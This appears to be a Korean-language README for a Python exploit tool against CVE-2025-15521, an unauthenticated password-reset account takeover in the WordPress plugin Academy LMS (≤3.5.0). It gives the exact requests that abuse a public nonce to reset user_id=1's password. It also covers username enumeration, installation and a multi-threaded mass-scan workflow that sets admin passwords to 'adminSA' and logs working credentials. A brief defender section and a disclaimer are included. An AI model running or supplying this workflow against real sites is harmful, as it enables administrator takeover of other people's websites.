
Academy LMS – WordPress LMS Plugin for Complete eLearning Solution(완전한 eLearning 솔루션용 WordPress LMS 플러그인)은 3.5.0을 포함한 모든 버전에서 계정 탈취를 통한 권한 상승에 취약합니다.
WordPress용 Academy LMS – WordPress LMS Plugin for Complete eLearning Solution 플러그인은 3.5.0을 포함한 모든 버전에서 계정 탈취를 통한 권한 상승 취약점에 노출되어 있습니다.
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 @KNxploited 팔로우 — CVE 공개 및 동작하는 익스플로잇을 지연 없이 확인하세요.
CVE-2025-15521 — Academy LMS ≤ 3.5.0에서 비밀번호 재설정을 통한 비인증 계정 탈취 취약점입니다.
이 플러그인의 재설정 핸들러는 강좌 페이지에 포함된 공개적으로 노출된 nonce(academy_nonce)만으로 요청을 인증합니다. 사용자 이메일로 전송되는 토큰도 없고, 세션 검사도 없으며, 신원 검증도 없습니다. 아무 강좌 페이지나 읽은 공격자는 유효한 nonce를 얻은 다음 user_id를 지정해 모든 계정의 비밀번호를 재설정할 수 있습니다 — 여기에는 user_id=1(사이트 관리자)도 포함됩니다.
CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Wordfence
GET /course/any-course/
→ HTML contains: "academy_nonce": "a1b2c3d4e5" ← public, no auth
POST /academy-retrieve-password/?user_id=1
new_password=<anything>
confirm_new_password=<anything>
security=a1b2c3d4e5 ← nonce accepted
→ Password for user_id=1 changed. No email. No confirmation.
핸들러는 모든 방문자에게 공개되는 nonce에 대해 wp_verify_nonce()만 검증한 뒤 wp_set_password()를 호출합니다. 요청 사용자가 변경 대상 계정의 소유자인지 확인하는 검사는 전혀 없습니다.
academy_nonce를 추출합니다.user_id에 대해 재설정 핸들러를 실행합니다./?author=N 리다이렉트와 REST API(/wp-json/wp/v2/users)를 통해 사용자 이름을 열거합니다.wordpress_logged_in 쿠키 요구/wp-admin의 실제 관리자 UI 마커 요구pip install requests colorama urllib3
Python 3.8+ 필요. Python 3.10+ 권장.
python CVE-2025-15521.py
다음 항목을 묻는 프롬프트가 표시됩니다:
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 10
Reset handler path [/academy-retrieve-password/]:
Course root path (key source) [/course/]:
Max /course/ subpages to scan per site [15]:
user_id to reset (handler target) [1]:
New password to set [adminSA]:
HTTP timeout (seconds) [10]:
Output file [scan_results/academy_access_success.txt]:
대상 파일 — 줄마다 URL 하나씩, scheme(프로토콜)은 선택 사항:
https://target1.com
target2.com
https://target3.com/lms
터미널 — 대상당 한 줄, 자격 증명은 출력되지 않음:
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
파일 — 확인된 접근 항목만 기록:
[2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA
방어자를 위한 조치:
재설정 엔드포인트로 전송되는 비인증 POST 요청을 차단하거나 모니터링하세요:
POST *academy-retrieve-password* with parameter: security=
테마의 강좌 페이지 소스에서 rm_admin_order / academy_nonce 노출 여부를 확인하세요. 로그인하지 않은 상태에서 nonce가 보인다면 해당 버전은 취약한 것입니다.
즉시 수정 단계:
이 도구는 승인된 보안 연구 및 침투 테스트 목적으로만 사용하세요.
자신이 소유했거나 명시적인 서면 허가를 받은 시스템에서만 실행하세요.
저자는 무단 또는 불법 사용에 대한 책임을 지지 않습니다.
무단 사용은 CFAA, CMA, EU 지침 2013/40/EU, 사우디아라비아 사이버 범죄 방지법(제M/17호) 및 전 세계의 동등한 법률을 위반합니다.
By Nxploited (Khaled Alenazi)
t.me/KNxploited · github.com/Nxploited
🔔 최신 CVE 및 익스플로잇 릴리스를 확인하려면 Telegram에서 @KNxploited를 팔로우하세요.